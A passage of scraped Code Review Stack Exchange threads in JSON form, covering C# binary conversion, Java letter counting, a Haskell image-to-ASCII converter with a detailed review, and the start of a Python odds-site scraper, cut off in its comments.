msOriginal = watch.ElapsedMilliseconds;\n\n Console.WriteLine("16 million calls: Time Modified: " + msOriginal);\n }\n }\n\n }\n\n static void PrintFromChanged(int[] arr, int num, ref int[] carr, int[] carrRight = null)\n {\n\n for (int index = 0;index < arr.Length && 0 < num; ++index)\n {\n if (1 == (carr[index] = (num >= arr[index] ? 1 : 0)))\n {\n num -= arr[index];\n }\n }\n }\n\n\n static void PrintFromStackExchange(int[] arr, int num, ref int[] carr)\n {\n bool two = false;\n if (arr[0 % arr.Length] + arr[0 + 1 % arr.Length] + arr[0 + 2 % arr.Length] + arr[0 + 3 % arr.Length] == num)\n {\n carr[0 % arr.Length] = 1;\n carr[0 + 1 % arr.Length] = 1;\n carr[0 + 2 % arr.Length] = 1;\n carr[0 + 3 % arr.Length] = 1;\n two = true;\n return;\n }\n for (int i = 0; i < arr.Length; i++)\n {\n if (arr[i % arr.Length] == num)\n {\n carr[i % arr.Length] = 1;\n two = true;\n break;\n }\n for (int j = (i + 1); j < arr.Length; j++)\n if (arr[i % arr.Length] + arr[(j) % arr.Length] == num)\n {\n carr[i % arr.Length] = 1;\n carr[(j) % arr.Length] = 1;\n two = true;\n break;\n }\n else if ((arr[i % arr.Length] + arr[(j) % arr.Length] + arr[(j + 1) % arr.Length] == num))\n {\n carr[i % arr.Length] = 1;\n carr[(j) % arr.Length] = 1;\n carr[(j + 1) % arr.Length] = 1;\n two = true;\n break;\n }\n\n if (two)\n break;\n }\n }\n\n</code></pre>\n<p><strong>Performance</strong></p>\n<p>16 million calls: Time Original: 800 Modified: 286</p>\n<p>16 million calls: Time Original: 836 Modified: 337</p>\n<p>16 million calls: Time Original: 819 Modified: 251</p>\n<p>16 million calls: Time Original: 862 Modified: 279</p>\n<p>16 million calls: Time Original: 818 Modified: 281</p>\n<p>16 million calls: Time Original: 762 Modified: 279</p>\n<p>16 million calls: Time Original: 837 Modified: 316</p>\n<p>16 million calls: Time Original: 947 Modified: 303</p>\n<p>16 million calls: Time Original: 902 Modified: 282</p>\n<p>16 million calls: Time Original: 837 Modified: 306</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-07T16:26:08.343",
"Id": "520997",
"Score": "1",
"body": "Why left `[i % arr.Length]` everywhere?"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-07T13:23:13.650",
"Id": "263836",
"ParentId": "263815",
"Score": "4"
}
},
{
"body": "<p>I think your code is more complex than needed for this problem. I will start with your method signature:</p>\n<pre><code>static void Print(int[] arr,int num,ref int[] carr)\n</code></pre>\n<p>You will have to know a lot about your parameters: <code>arr</code> needs to be an array of powers of two and <code>carr</code> has to be an array of <code>0</code>s. What happens if one calls this method and these two conditions are not fulfilled? I propose the following signature:</p>\n<pre><code>static int[] Print(int num, int length)\n</code></pre>\n<p>Instead of passing the result via a <code>ref</code> parameter (which is quite uncommon and should only be done if it is not possible in another way), I will use the return type. I also pass the length of the result (in your case 4) to make the method more flexible. Finally, I don't use the array of powers of two as an input, because this can be calculated by your method.</p>\n<p>In the method, first I check if length is big enough to display the result:</p>\n<pre><code>if(num >= (1 << length))\n{\n throw new ArgumentException(num + " is too big to be displayed in a binary output of length " + length);\n}\n</code></pre>\n<p>The operation with binary shift operator <code><<</code> is equivalent to 2 to the power of length. If <code>length</code> is 4, the maximum number which can be displayed is 15. I throw an exception if the output array is too short to make sure, that the caller won't process wrong data.</p>\n<p>Then, I create the result array:</p>\n<pre><code>int[] result = new int[length];\n</code></pre>\n<p>Then, I use a single loop to fill the array with the correct values:</p>\n<pre><code>for(int i = result.Length - 1; i >= 0; i--)\n{\n int powerOfTwo = 1 << i;\n int index = result.Length - i - 1;\n result[index] = num / powerOfTwo;\n num -= result[index] * powerOfTwo;\n}\n</code></pre>\n<p>The power of two is calculated via the bit-shift operator. Because the array has to be filled from the back, we need a new array index. Then the value in the result array is calculated.</p>\n<p>The full code of your method is:</p>\n<pre><code>static int[] Print(int num, int length)\n {\n if(num >= (1 << length))\n {\n throw new ArgumentException(num + " is too big to be displayed in a binary output of length " + length);\n }\n int[] result = new int[length];\n for(int i = result.Length - 1; i >= 0; i--)\n {\n int powerOfTwo = 1 << i;\n int index = result.Length - i - 1;\n result[index] = num / powerOfTwo;\n num -= result[index] * powerOfTwo;\n }\n return result;\n }\n</code></pre>\n<p>Online demo: <a href=\"https://dotnetfiddle.net/HsqrnJ\" rel=\"nofollow noreferrer\">https://dotnetfiddle.net/HsqrnJ</a></p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-11T13:37:34.707",
"Id": "263947",
"ParentId": "263815",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T16:13:24.773",
"Id": "263815",
"Score": "2",
"Tags": [
"c#",
"performance",
"algorithm",
"array",
"interview-questions"
],
"Title": "Print Binary coded decimal Numbering of a given input number"
}
|
263815
|
<p>I created two programs (one with JAVA8) to calculate the total count of uppercase and lowercase characters in given String. After checking the execution time JAVA8 is taking longer execution time than expected. Is there any possible way to optimize any of these code more to reduce execution time and complexity?</p>
<p>Code:</p>
<pre><code>import java.io.BufferedReader;
import java.io.InputStreamReader;
public class Counts
{
public static void main(String arg[])throws Exception
{
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
int upperCase=0, lowerCase=0;
String str=br.readLine();
Long startTimeMemo = System.nanoTime();
for (int k = 0; k < str.length(); k++) {
// Check for uppercase letters.
if (Character.isUpperCase(str.charAt(k))) upperCase++;
// Check for lowercase letters.
if (Character.isLowerCase(str.charAt(k))) lowerCase++;
}
System.out.printf("%d uppercase letters and %d lowercase letters.",upperCase,lowerCase);
Long stopTimeMemo = System.nanoTime();
System.out.println("");
System.out.println("Memoization Time:" + (stopTimeMemo - startTimeMemo));
}
}
</code></pre>
<p>JAVA8 Code:</p>
<pre><code>import java.io.BufferedReader;
import java.io.InputStreamReader;
public class Count2
{
public static void main(String arg[])throws Exception
{
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
String str = br.readLine();
Long startTimeMemo = System.nanoTime();
System.out.println(countUpperCase(str) + " " + countLowerCase(str));
Long stopTimeMemo = System.nanoTime();
System.out.println("");
System.out.println("Memoization Time:" + (stopTimeMemo - startTimeMemo));
}
private static long countUpperCase(String s) {
return s.codePoints().filter(c-> c>='A' && c<='Z').count();
}
private static long countLowerCase(String s) {
return s.codePoints().filter(c-> c>='a' && c<='z').count();
}
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-07T05:00:52.553",
"Id": "520957",
"Score": "0",
"body": "Apart from the explanation @flamesdev already posted, note that your stream based code does *not* do the same thing as your original code (`Character.isUpperCase` is a whole different beast than `c >= 'A' && c <= 'Z'` ) and your time measurement is far from accurate. See https://stackoverflow.com/questions/504103/how-do-i-write-a-correct-micro-benchmark-in-java for some pointers to get to somewhat accurate measurements."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-07T08:29:12.413",
"Id": "520968",
"Score": "0",
"body": "What if I rewrite stream based code like this : \n int[] counts = {0, 0, 0};\n str.codePoints().map(c -> Character.isUpperCase(c) ? 0 : Character.isLowerCase(c) ? 1 : 2).forEach(i -> counts[i]++);\nSystem.out.printf(\"%d uppercase letters and %d lowercase letters.%n\", counts[0], counts[1]); will this work fine?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-07T10:19:27.657",
"Id": "520977",
"Score": "0",
"body": "Just as every _for-each_ loop creates an iterator, a codePoints _stream_ does likewise. So two `codePoints()` cost. The conversion to code point from one or two chars is also overhead. The good thing is, this loss almost never counts. Note that `Character.isUpperCase` has also a version for int code points."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-07T14:21:05.420",
"Id": "520982",
"Score": "0",
"body": "If you rewrite the code as in your comment, nobody will be able to read it any more. Aim for maintainable and clean code, not for clever tricks or performance."
}
] |
[
{
"body": "<p>Your Java 8 example is less efficient because it iterates over the string's code points twice (once for the <code>countUpperCase</code> method and a second time for <code>countLowerCase</code>). In your first example, you can optimize the code by adding an <code>else</code> clause to the two if statements. Because, if a character is uppercase, you know that if cannot be lowercase, so there's no point in checking. Additionally, instead of calling the <code>charAt</code> method twice, you can call it once and then assign the result to a local variable for reuse.</p>\n<h1>Rewritten Loop</h1>\n<pre class=\"lang-java prettyprint-override\"><code>for (int k = 0; k < str.length(); k++) {\n char character = str.charAt(k);\n if (Character.isUpperCase(character)) {\n upperCase++;\n } else if (Character.isLowerCase(character)) {\n lowerCase++;\n }\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-07T08:25:32.863",
"Id": "520967",
"Score": "0",
"body": "thank you sir. Please confirm that you want me to rewrite code like this : \n for (int k = 0, n = str.length(); k < n; k++) {\n char c = str.charAt(k);\n if (Character.isUpperCase(c)) upperCase++;\n else if (Character.isLowerCase(c)) lowerCase++;\n}"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-07T09:17:23.167",
"Id": "520972",
"Score": "0",
"body": "@user12218554 You're welcome. The code you provided adds the `else` clause I suggested, but it doesn't use a for-each loop. Would you like me to edit my post to include a rewritten version of your code?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-07T11:58:48.293",
"Id": "520980",
"Score": "0",
"body": "Sure sir. It will be really helpful. Thank you"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-07T13:20:05.953",
"Id": "520981",
"Score": "0",
"body": "@user12218554 I've added a code snippet to my post; let me know if that helps."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-07T16:21:25.090",
"Id": "520996",
"Score": "0",
"body": "@user12218554 Actually, it turns out that the suggestion I had about using a for-each loop was ill-conceived; I thought the `chars` method worked differently that it actually does. However, I have added a suggestion about using a local variable to prevent duplicate `charAt` calls, and I included the code for this change."
}
],
"meta_data": {
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-07T02:05:11.250",
"Id": "263828",
"ParentId": "263818",
"Score": "1"
}
},
{
"body": "<h3>Readability first</h3>\n<p>Indent the code properly. Put every statement in its own line. Name identifiers properly (well, this is mostly done).</p>\n<h3>Separate the algorithm from input/output operations</h3>\n<p>I/O operations are slow. Sometimes it's ok to mix them, but if you want to benchmark your algorithm - move all I/O out of it.\nThe best way would be to create separate functions for counting.</p>\n<h3>Make sure what you're benchmarking</h3>\n<p>The first code uses:</p>\n<ul>\n<li>single loop (1)</li>\n<li>breaking into chars (2)</li>\n<li>conditional statement (3)</li>\n<li>library functions like Character.isLowerCase (4)</li>\n<li>output with System.out.printf (5)</li>\n</ul>\n<p>The second:</p>\n<ul>\n<li>different methods for uppercase/lowercase (1a)</li>\n<li>iterators (1b)</li>\n<li>breaking into code points (2)</li>\n<li>filter (3)</li>\n<li>lambdas (4a)</li>\n<li>comparing with chars (4b)</li>\n<li>adding strings (5a)</li>\n<li>output with System.out.println (5b)</li>\n</ul>\n<p>Also, you didn't provide us with your test data and test results. My guess is the slowest part is 5a, but that's only a guess. Check it.</p>\n<p>Rewrite the code to have different methods with the same signature (without I/O operations!), then test them several times on comparable data. And keep watching on what are you comparing.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-07T05:10:25.413",
"Id": "263830",
"ParentId": "263818",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T18:41:54.637",
"Id": "263818",
"Score": "2",
"Tags": [
"java",
"performance",
"strings",
"comparative-review"
],
"Title": "Counting uppercase and lowercase characters in a string"
}
|
263818
|
<p>I'm currently learning haskell, and I wanted a simple project to get started. This project uses the JuicyPixels package to handle image reading. The logic of the image to ascii art algorithm is quite simple:</p>
<ul>
<li>quantize the image in a number of bins equal to the number of ASCII character we want to use</li>
<li>map each pixel to its ASCII counterpart.</li>
</ul>
<p>The code is the following:</p>
<pre><code>#!/usr/bin/env runhaskell
import Codec.Picture
import Data.Dynamic
import Data.Vector.Storable as V
import Data.Word
import Prelude as P
replacementChars :: [Char]
replacementChars = "#@&%=|;:. "
imageToAscii :: String -> Image Pixel8 -> [String]
imageToAscii mapChar img = chunksOf (imageWidth img) . toList $ V.map replaceByChar (imageData qImg)
where
qImg = quantizeImage (fromIntegral numBin) img
replaceByChar p = mapChar !! fromIntegral p
numBin = 1 + 255 `div` P.length mapChar
chunksOf :: Int -> [a] -> [[a]]
chunksOf _ [] = []
chunksOf n xs = as : chunksOf n bs where (as, bs) = P.splitAt n xs
quantizeImage :: Word8 -> Image Pixel8 -> Image Pixel8
quantizeImage numBin = pixelMap (quantize numBin)
quantize :: Word8 -> Word8 -> Word8
quantize numBin x = x `div` numBin
rgbaToGray :: Image PixelRGBA8 -> Image Pixel8
rgbaToGray = pixelMap pixelAvg
-- contrast preserving for human vision RGB -> Gray is the following 0.2989 * R + 0.5870 * G + 0.1140 * B
pixelAvg :: PixelRGBA8 -> Pixel8
pixelAvg (PixelRGBA8 r g b a) = round $ 0.2989 * fromIntegral r + 0.5870 * fromIntegral g + 0.1140 * fromIntegral b
main :: IO ()
main = do
img <- readImage "hamburger.png"
case img of
Left str -> print str
Right img -> putStr $ unlines (imageToAscii replacementChars $ rgbaToGray (convertRGBA8 img))
</code></pre>
<p>An example of result on the <a href="https://www.joypixels.com/emoji/flat" rel="nofollow noreferrer">hamburger emoji taken from Joypixel</a>:</p>
<p><a href="https://i.stack.imgur.com/ijUjQ.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/ijUjQ.png" alt="Hamburger emoji from joypixel" /></a></p>
<pre><code>################################################################
################################################################
########################### ###########################
###################### ######################
################### ###################
################ .....::..... ################
############## ..::;;;;;;;;;;;;;:.. ##############
############# .::;;;;;;;;;;;;;;;;;;;;::. #############
########### .:;;;;;;;;;;;;;;;;;;;;;;;;;;:. ###########
########## .:;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:. ##########
######### :;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;: #########
######## .:;;;;;;;;::;;;;;;;;;;;;;;;;::;;;;;;;;:. ########
####### .:;;;;;;;;;..;;;;;;;;;;;;;;;;..;;;;;;;;;:. #######
###### .:;;;;;;;;;;::;;;;;;;::;;;;;;;::;;;;;;;;;;:. ######
###### .:;;;;;;;;;;;;;;;;;;;;..;;;;;;;;;;;;;;;;;;;;:. ######
##### :;;;;;;;;;;;;;;;;;;;;;::;;;;;;;;;;;;;;;;;;;;;: #####
##### .;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;. #####
#### :;;;;;;;::;;;;;;;;;;;;;;;;;;;;;;;;;;;;::;;;;;;;: ####
#### .;;;;;;;;.:;;;;;;;;;;;;;;;;;;;;;;;;;;;;:.;;;;;;;;. ####
#### :;;;;;;;;::;;;;;;;;;;;;;;;;;;;;;;;;;;;;::;;;;;;;;: ####
#### :;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;: ####
#### :;;;;;;;;;;;;;;;;;:::;;;;;;;;:::;;;;;;;;;;;;;;;;;: ####
### .;;;;;;;;;;;;;;;;;;:.:;;;;;;;;:.:;;;;;;;;;;;;;;;;;;. ###
### :;;;;;;;;;;;;;;;;;;;:;;;;;;;;;;:;;;;;;;;;;;;;;;;;;;: ###
### ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;: ###
### :;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ###
### :;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;|: ###
### .|;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;|: ###
### .;|;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;||; ###
### .||;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;||; ###
### .|=|;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;|||; ###
### .;===|;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;|||||; ###
### .:=====|;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;|||||||: ###
### ::|======||;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;|||||||||=: ###
## .;:;======|||||||;;;;;;;;;;;;;;;;;;;;|||||||||||||=|;. ##
## :|::|=====|||||||||||||||||||||||||||||||||||||||==:|: ##
## ;%:::=====|||||||||||||||||||||||||||||||||||||||=|:%; ##
## ;%|::;=======||||||||||||||||||||||||||||||||||||=:|%; ##
## ;%%;::;======||||||||||||||||||||||||||||||||||||:;%%; ##
## :%%%;::;=====|||||||||====;;||||||||||||||||||||:;%%%: ##
## .%%%%;:::|===|||||||====|;::|||||====|||||||||||;%%%%. ##
### |%%%%|::::;=||||||===|;::::;||||=======||||||||%%%%| ###
### .%%%%%=;:::::;;;;;;;::::::::;||;=========|;;||%%%%%. ###
#### ;%%%%%%=;::::::::::::::::::::;:::;;;;;:::;=%%%%%%; ####
#### =%%%%%%%%|:::::::::::::::::::::::::::;|%%%%%%%%= ####
##### ;=%%%%%%%%=;:::::::::::::::::::::;;|%%%%%%%%%%=; #####
##### :;=%%%%%%%%%;::::::::::::::::;|=%%%%%%%%%%%%%=;: #####
##### :;;|%%%%%%%%%;:::::::::::::;=%%%%%%%%%%%%%%%|;;: #####
##### .;;;;=%%%%%%%%;:::::::::::;%%%%%%%%%%%%%%%=;;;;. #####
##### :;;;;|=%%%%%%%;:::::::::;%%%%%%%%%%%%%%=|;;;;: #####
###### .;;;;;;;=%%%%%%;:::::::;%%%%%%%%%%%%%=;;;;;;;. ######
###### :;;;;;;;;|=%%%%;:::::;%%%%%%%%%%%=|;;;;;;;;: ######
####### :;;;;;;;;;;;||=;:::;%%%%%%%=||;;;;;;;;;;;: #######
######## :;;;;;;;;;;;;;;:::;;;;;;;;;;;;;;;;;;;;;: ########
######## .:;;;;;;;;;;;;;:;;;;;;;;;;;;;;;;;;;;:. ########
######### ..:;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:.. #########
########### .:;;;;;;;;;;;;;;;;;;;;;;;;;;:. ###########
############ ..:::;;;;;;;;;;;;;;;;:::.. ############
############## ......::::...... ##############
################ ################
################### ###################
######################### #########################
################################################################
################################################################
</code></pre>
<p>Any advice, criticism, or coding-style improvement suggestion is welcome. It's my first time working in a pure functional programming language, so there is probably some things to improve. I find the applicator function (<code>$</code>) a bit confusing, for example. I also felt a bit hindered by the strictness of the type system, but I guess it's one feature one comes to love when working on a bigger codebase.</p>
|
[] |
[
{
"body": "<p>It looks pretty good.</p>\n<p>When working with a module that overlaps <code>Prelude</code>, like <code>Data.Vector.Storable</code>, it's more usual to import it with the <code>qualified</code> keyword:</p>\n<pre><code>import qualified Data.Vector.Storable as V\n</code></pre>\n<p>and skip the <code>import Prelude as P</code>. Then, in the rest of the code, all functions from the vector module get qualified, and none of the functions from the prelude get qualified. (All Haskell programmers will be familiar with this convention.)</p>\n<p>For long pipelines of functions, it's common to write either:</p>\n<pre><code>f . g . h $ x\n</code></pre>\n<p>or:</p>\n<pre><code>f (g (h x))\n</code></pre>\n<p>but mixing both styles is a little odd. Also, for really long pipelines, it's helpful to write it out on multiple lines, which avoids excessivley long lines and gives plenty of room for comments.</p>\n<p>So, I might rewrite <code>imageToAscii</code> as follows. I've gotten rid of the <code>qImg</code> definition and folded it into the pipeline, too:</p>\n<pre><code>imageToAscii :: String -> Image Pixel8 -> [String]\nimageToAscii mapChar img\n = chunksOf (imageWidth img)\n . V.toList\n . V.map replaceByChar\n . imageData\n . quantizeImage (fromIntegral numBin)\n $ img\n where\n replaceByChar p = mapChar !! fromIntegral p\n numBin = 1 + 255 `div` length mapChar\n</code></pre>\n<p>Similarly in <code>main</code>, it might be more usual to write:</p>\n<pre><code>Right img -> putStr $ unlines\n . imageToAscii replacementChars\n . rgbaToGray\n . convertRGBA8\n $ img\n</code></pre>\n<p>I'm not sure <code>quantize</code> is worth defining, so maybe just:</p>\n<pre><code>quantizeImage :: Word8 -> Image Pixel8 -> Image Pixel8\nquantizeImage numBin = pixelMap (`div` numBin)\n</code></pre>\n<p>and <code>pixelAvg</code> doesn't look important enough to be a standalone function, so maybe just:</p>\n<pre><code>rgbaToGray :: Image PixelRGBA8 -> Image Pixel8\nrgbaToGray = pixelMap pixelAvg\n where pixelAvg (PixelRGBA8 r g b a) = round $ 0.2989 * fromIntegral r + 0.5870 * fromIntegral g + 0.1140 * fromIntegral b\n</code></pre>\n<p>Also, <code>quantizeImage</code> is kind of a weird transformation, since the result isn't really intended to be an <em>image</em>. It seems like the quantization ought to be part of the transformation acting on the raw image data, so I might rewrite:</p>\n<pre><code>imageToAscii :: String -> Image Pixel8 -> [String]\nimageToAscii mapChar img\n = chunksOf (imageWidth img)\n . V.toList\n . V.map (replaceByChar . (`div` fromIntegral numBin))\n . imageData\n $ img\n where\n replaceByChar p = mapChar !! fromIntegral p\n numBin = 1 + 255 `div` length mapChar\n</code></pre>\n<p>Then we start moving into performance-related improvements. Doing a <code>V.toList . V.map f</code> will generally be slower than doing a <code>map f . V.toList</code>. The former forces the mapping to create an entire transformed vector copy of the image. The latter can result in a lazily produced list and might even be optimized via list fusion so intermediate lists aren't produced:</p>\n<pre><code>imageToAscii :: String -> Image Pixel8 -> [String]\nimageToAscii mapChar img\n = chunksOf (imageWidth img)\n . map (replaceByChar . (`div` fromIntegral numBin))\n . V.toList\n . imageData\n $ img\n where\n replaceByChar p = mapChar !! fromIntegral p\n numBin = 1 + 255 `div` length mapChar\n</code></pre>\n<p>The next big performance problem is <code>replaceByChar</code>. Haskell lists are singly linked lists, so lookups are slow. You can use a vector here, instead:</p>\n<pre><code>import Data.Vector.Unboxed as VU\n\nreplacementChars :: VU.Vector Char\nreplacementChars = VU.fromList "#@&%=|;:. "\n</code></pre>\n<p>with corresponding fixes to <code>imageToAscii</code>:</p>\n<pre><code>imageToAscii :: VU.Vector Char -> Image Pixel8 -> [String]\nimageToAscii mapChar img\n = chunksOf (imageWidth img)\n . map (replaceByChar . (`div` fromIntegral numBin))\n . V.toList\n . imageData\n $ img\n where\n replaceByChar p = mapChar VU.! fromIntegral p\n numBin = 1 + 255 `div` VU.length mapChar\n</code></pre>\n<p>I guess I'd probably fiddle with this a little more. <code>replaceByChar</code> is just a lookup in a map, so it doesn't seem worthy of being named. On the other hand, reintroducing the name <code>quantize</code> in place of <code>numBin</code>, and the <code>(`div` fromIntegral numBin))</code> expression makes things clearer.</p>\n<p>Also, you've giving a bunch of names to your ASCII palette: it's either <code>replacementChars</code> or <code>mapChar</code>, or maybe they're bins (e.g., <code>numBin</code>). Using a single consistent name would make sense. It might be nice to call it a "palette", though palette-related names are already part of <code>Codec.Picture</code>. So, maybe "brush"? If so:</p>\n<pre><code>type Brush = VU.Vector Char\n\ndefaultBrush :: Brush\ndefaultBrush = VU.fromList "#@&%=|;:. "\n\nimageToAscii :: Brush -> Image Pixel8 -> [String]\nimageToAscii brush img\n = chunksOf (imageWidth img)\n . map (\\pix -> brush VU.! quantize pix)\n . V.toList\n . imageData\n $ img\n where\n quantize x = fromIntegral x `div` (1 + 255 `div` VU.length brush)\n</code></pre>\n<p>Also, the logic for quantize isn't very good for general brush sizes. For example, if the brush is 256 characters, it will work pretty well, but what if we have a 255 character brush? I think this will give better results:</p>\n<pre><code> quantize x = fromIntegral x * VU.length brush `div` 256\n</code></pre>\n<p>Your <code>chunksOf</code>, while a reasonable definition, is going to be a lot slower than the version from <code>Data.List.Split</code>, so you'll want to use that.</p>\n<p>Finally, since you aren't using the alpha channel, it would be better to drop it from the start with <code>convertRGB8</code> in place of <code>convertRGBA8</code>, with corresponding changes to <code>rgbaToGray</code>:</p>\n<pre><code>rgbaToGray :: Image PixelRGB8 -> Image Pixel8\nrgbaToGray = pixelMap toGray\n where toGray (PixelRGB8 r g b)\n = round $ 0.2989 * fromIntegral r + 0.5870 * fromIntegral g + 0.1140 * fromIntegral b\n</code></pre>\n<p>Also note that <code>toGray</code> is a more evocative name than <code>pixelAvg</code>.</p>\n<p>Note that all of these performance-related changes really ought to be benchmarked. I found that, on a moderately large JPEG image, the combined effect of all of the above was an approximate 35% reduced runtime.</p>\n<p>The biggest improvement came from using the faster <code>chunksOf</code> from <code>Data.List.Split</code>. Switching from a <code>[Char]</code> to a <code>VU.Vector Char</code> brush provided only a modest improvement for such a small brush, which I found surprising, but it might still be worthwhile for larger brushes. By itself, swapping <code>map f . V.toList</code> for <code>V.toList . map f</code> didn't seem to have an effect, but combining the quantization and character mapping in a single map <em>did</em> have a modest effect, meaning that:</p>\n<pre><code>map (brush VU.!) . V.toList . V.map quantize\n</code></pre>\n<p>was slower than either of the following:</p>\n<pre><code>map (\\pix -> brush VU.! quantize pix) . V.toList\nV.toList . map (\\pix -> brush VU.! quantize pix) \n</code></pre>\n<p>My final version follows. Again, I think your original was quite good, so I think mine is at best a modest improvement:</p>\n<pre><code>import Codec.Picture\nimport Data.List.Split\nimport qualified Data.Vector.Storable as V\nimport qualified Data.Vector.Unboxed as VU\n\ntype Brush = VU.Vector Char\n\ndefaultBrush :: Brush\ndefaultBrush = VU.fromList "#@&%=|;:. "\n\npaintImage :: Brush -> Image Pixel8 -> [String]\npaintImage brush img\n = chunksOf (imageWidth img)\n . map (\\pix -> brush VU.! quantize pix)\n . V.toList\n . imageData\n $ img\n where\n quantize x = fromIntegral x * VU.length brush `div` 256\n\nrgbaToGray :: Image PixelRGB8 -> Image Pixel8\nrgbaToGray = pixelMap toGray\n where toGray (PixelRGB8 r g b) = round $ 0.2989 * i r + 0.5870 * i g + 0.1140 * i b\n i = fromIntegral\n\nmain :: IO ()\nmain = do\n img <- readImage "hamburger.png"\n case img of\n Left str -> print str\n Right img -> putStr $ unlines\n . paintImage defaultBrush\n . rgbaToGray\n . convertRGB8\n $ img\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-07T18:55:43.623",
"Id": "263843",
"ParentId": "263823",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "263843",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T21:01:14.540",
"Id": "263823",
"Score": "4",
"Tags": [
"beginner",
"haskell"
],
"Title": "Haskell - Convert an Image to Ascii Art"
}
|
263823
|
<p>A member of SO who I immensely respect just told me that the code below makes him uncomfortable.</p>
<pre><code>class GameData:
def __init__(self):
self.date = []
self.time = []
self.game = []
self.score = []
self.home_odds = []
self.draw_odds = []
self.away_odds = []
self.country = []
self.league = []
def parse_data(url):
while True:
try:
browser.get(url)
df = pd.read_html(browser.page_source)[0]
break
except KeyError:
browser.quit()
continue
soup = bs(html, "lxml")
cont = soup.find('div', {'id': 'wrap'})
content = cont.find('div', {'id': 'col-content'})
content = content.find('table', {'class': 'table-main'}, {'id': 'tournamentTable'})
main = content.find('th', {'class': 'first2 tl'})
if main is None:
return None
count = main.findAll('a')
country = count[1].text
league = count[2].text
game_data = GameData()
game_date = None
for row in df.itertuples():
if not isinstance(row[1], str):
continue
elif ':' not in row[1]:
game_date = row[1].split('-')[0]
continue
game_data.date.append(game_date)
game_data.time.append(row[1])
game_data.game.append(row[2])
game_data.score.append(row[3])
game_data.home_odds.append(row[4])
game_data.draw_odds.append(row[5])
game_data.away_odds.append(row[6])
game_data.country.append(country)
game_data.league.append(league)
return game_data
urls = {
"https://www.oddsportal.com/soccer/africa/africa-cup-of-nations/results/#/",
"https://www.oddsportal.com/soccer/africa/africa-cup-of-nations/results/#/page/2/",
"https://www.oddsportal.com/soccer/africa/africa-cup-of-nations/results/#/page/3/",
"https://www.oddsportal.com/soccer/africa/africa-cup-of-nations/results/#/page/4/",
"https://www.oddsportal.com/soccer/africa/africa-cup-of-nations/results/#/page/5/",
"https://www.oddsportal.com/soccer/africa/africa-cup-of-nations/results/#/page/6/",
"https://www.oddsportal.com/soccer/africa/africa-cup-of-nations/results/#/page/7/",
"https://www.oddsportal.com/soccer/africa/africa-cup-of-nations/results/#/page/8/",
"https://www.oddsportal.com/soccer/africa/africa-cup-of-nations/results/#/page/9/",
}
if __name__ == '__main__':
results = None
for url in urls:
try:
game_data = parse_data(url)
if game_data is None:
continue
result = pd.DataFrame(game_data.__dict__)
if results is None:
results = result
else:
results = results.append(result, ignore_index=True)
except ValueError:
game_data = parse_data(url)
if game_data is None:
continue
result = pd.DataFrame(game_data.__dict__)
if results is None:
results = result
else:
results = results.append(result, ignore_index=True)
except AttributeError:
game_data = parse_data(url)
if game_data is None:
continue
result = pd.DataFrame(game_data.__dict__)
if results is None:
results = result
else:
results = results.append(result, ignore_index=True)
</code></pre>
<p>While I admit, this code has been stitched together from solutions from SO, how can I improve the code for effeciency, redability and logic?</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-07T01:38:37.277",
"Id": "520947",
"Score": "2",
"body": "This seems like a repeat of https://codereview.stackexchange.com/questions/263390/scraping-odds-portal-with-beautiful-soup/263454#263454 . Have you read the answer there?"
},
{
"ContentLicense": "CC BY-SA 4.0",
